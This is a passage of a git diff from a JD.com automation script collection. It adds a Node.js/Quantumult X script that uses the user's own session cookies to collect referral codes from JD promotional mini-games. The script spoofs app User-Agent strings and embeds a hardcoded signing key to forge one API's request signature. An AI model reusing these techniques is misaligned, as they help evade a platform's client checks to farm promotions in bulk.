r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_get_share_code.js b/jd_get_share_code.js new file mode 100644 index 0000000..e6fd8fb --- /dev/null +++ b/jd_get_share_code.js @@ -0,0 +1,756 @@ +/* +一键获取我仓库所有需要互助类脚本的互助码(邀请码)(其中京东赚赚jd_jdzz.js如果今天达到5人助力则不能提取互助码) +没必要设置(cron)定时执行,需要的时候,自己手动执行一次即可 +注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本 +更新地址:jd_get_share_code.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#获取互助码 +20 13 * * 6 jd_get_share_code.js, tag=获取互助码, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 13 * * 6" script-path=jd_get_share_code.js, tag=获取互助码 + +===============Surge================= +获取互助码 = type=cron,cronexp="20 13 * * 6",wake-system=1,timeout=3600,script-path=jd_get_share_code.js + +============小火箭========= +获取互助码 = type=cron,script-path=jd_get_share_code.js, cronexpr="20 13 * * 6", timeout=3600, enable=true + */ +const $ = new Env("获取互助码"); +const JD_API_HOST = "https://api.m.jd.com/client.action"; +let cookiesArr = [], cookie = '', message; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.log('\n注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本\n') + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + continue + } + await getShareCode() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function getJdFactory() { + return new Promise(resolve => { + $.post( + taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`$东东工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos; //任务列表 + $.taskVos.map((item) => { + if (item.taskType === 14) { + console.log( + `【京东账号${$.index}(${$.UserName})东东工厂】${item.assistTaskDetailVo.taskToken}` + ); + } + }); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }) +} +function getJxFactory(){ + const JX_API_HOST = "https://m.jingxi.com"; + + function JXGC_taskurl(functionId, body = "") { + return { + url: `${JX_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: cookie, + Host: "m.jingxi.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": + "jdpingou;iPhone;3.14.4;14.0;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100351;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/62;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Accept-Language": "zh-cn", + Referer: "https://wqsd.jd.com/pingou/dream_factory/index.html", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + } + + return new Promise(resolve => { + $.get( + JXGC_taskurl( + "userinfo/GetUserInfo", + `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=` + ), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + data = data["data"]; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ""; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId; //工厂ID + $.productionId = production.productionId; //商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + console.log(`【京东账号${$.index}(${$.UserName})京喜工厂】${data.user.encryptPin}`); + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动` + ); + } else if (data.factoryList && !data.productionList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购` + ); + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJxNc(){ + const JXNC_API_HOST = "https://wq.jd.com/"; + + function JXNC_taskurl(function_path, body) { + return { + url: `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=&phoneid=×tamp=&sceneval=2&g_login_type=1&_=${Date.now()}&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + }; + } + + return new Promise(resolve => { + $.get( + JXNC_taskurl('query', `type=1`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜农场 API请求失败,请检查网路重试`); + } else { + data = data.match(/try\{Query\(([\s\S]*)\)\;\}catch\(e\)\{\}/)[1]; + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + if (data.active) { + let shareCodeJson = { + 'smp': data.smp, + 'active': data.active, + 'joinnum': data.joinnum, + }; + console.log(`注意:京喜农场 种植种子发生变化的时候,互助码也会变!!`); + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】` + JSON.stringify(shareCodeJson)); + } else { + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】未选择种子,请先去京喜农场选择种子`); + } + } + } else { + console.log(`京喜农场返回值解析异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJdPet(){ + const JDPet_API_HOST = "https://api.m.jd.com/client.action"; + + function jdPet_Url(function_id, body = {}) { + body["version"] = 2; + body["channel"] = "app"; + return { + url: `${JDPet_API_HOST}?functionId=${function_id}`, + body: `body=${escape( + JSON.stringify(body) + )}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + Cookie: cookie, + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + return new Promise(resolve => { + $.post(jdPet_Url("initPetTown"), async (err, resp, data) => { + try { + if (err) { + console.log("东东萌宠: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + + const initPetTownRes = data; + + message = `【京东账号${$.index}】${$.nickName}`; + if ( + initPetTownRes.code === "0" && + initPetTownRes.resultCode === "0" && + initPetTownRes.message === "success" + ) { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + /*console.log( + `【提示】京东账号${$.index}${$.nickName}萌宠活动未开启请手动去京东APP开启活动入口:我的->游戏与互动->查看更多开启` + );*/ + return; + } + + console.log( + `【京东账号${$.index}(${$.UserName})京东萌宠】${$.petInfo.shareCode}` + ); + + } else if (initPetTownRes.code === "0") { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } else { + console.log("shit"); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +async function getJdZZ() { + const JDZZ_API_HOST = "https://api.m.jd.com/client.action"; + function getTaskList() { + return new Promise(resolve => { + $.get(taskZZUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList; + if ($.taskList.filter(item => !!item && item['taskId']=== 3) && $.taskList.filter(item => !!item && item['taskId']=== 3).length) { + console.log(`【京东账号${$.index}(${$.UserName})的京东赚赚好友互助码】${$.taskList.filter(item => !!item && item['taskId']=== 3)[0]['itemId']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + } + + function taskZZUrl(functionId, body = {}) { + return { + url: `${JDZZ_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + + await getTaskList() +} +async function getPlantBean() { + const JDplant_API_HOST = "https://api.m.jd.com/client.action"; + + async function plantBeanIndex() { + $.plantBeanIndexResult = await plant_request("plantBeanIndex"); //plantBeanIndexBody + } + + function plant_request(function_id, body = {}) { + return new Promise(async (resolve) => { + $.post(plant_taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("种豆得豆: API查询请求失败 ‼️‼️"); + console.log(`function_id:${function_id}`); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } + + function plant_taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JDplant_API_HOST, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + + function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + const r = url.match(reg); + if (r != null) return unescape(r[2]); + return null; + } + + async function jdPlantBean() { + await plantBeanIndex(); + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult.code === "0") { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl; + $.myPlantUuid = getParam(shareUrl, "plantUuid"); + console.log(`【京东账号${$.index}(${$.UserName})种豆得豆】${$.myPlantUuid}`); + + } else { + console.log( + `种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}` + ); + } + } + + await jdPlantBean(); +} +async function getJDFruit() { + async function initForFarm() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape( + JSON.stringify({version: 4}) + )}&appid=wh5&clientVersion=9.1.0`, + headers: { + accept: "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + cookie: cookie, + origin: "https://home.m.jd.com", + pragma: "no-cache", + referer: "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log("东东农场: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + async function jdFruit() { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log( + `【京东账号${$.index}(${$.UserName})京东农场】${$.farmInfo.farmUserPro.shareCode}` + ); + + } else { + /*console.log( + `初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify( + $.farmInfo + )}` + );*/ + } + } + + await jdFruit(); +} +async function getJoy(){ + function taskUrl(functionId, body = '') { + let t = Date.now().toString().substr(0, 10) + let e = body || "" + e = $.md5("aDvScBv$gGQvrXfva8dG!ZC@DA70Y%lX" + e + t) + e = e + Number(t).toString(16) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + let body = {"paramData": {}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_gameState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.userInviteCode) { + console.log(`【京东账号${$.index}(${$.UserName})crazyJoy】${data.data.userInviteCode}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//闪购盲盒 +async function getSgmh(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=interact_template_getHomeData&body={"appId":"1EFRXxg","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + const invites = data.data.result.taskVos.filter(item => item['taskName'] === '邀请好友助力'); + console.log(`【京东账号${$.index}(${$.UserName})闪购盲盒】${invites && invites[0]['assistTaskDetailVo']['taskToken']}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//财富岛 +function getCFD(showInvite = true) { + function taskUrl(function_path, body) { + return { + url: `https://m.jingxi.com/jxcfd/${function_path}?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + }; + } + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`), (err, resp, data) => { + try { + const { + iret, + SceneList = {}, + XbStatus: { XBDetail = [], dwXBRemainCnt } = {}, + ddwMoney, + dwIsNewUser, + sErrMsg, + strMyShareId, + strPin, + } = JSON.parse(data); + console.log(`【京东账号${$.index}(${$.UserName})财富岛】${strMyShareId}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +//领现金 +function getJdCash() { + function taskUrl(functionId, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + console.log(`【京东账号${$.index}(${$.UserName})签到领现金】${data.data.result.inviteCode}`); + } + } + } + } 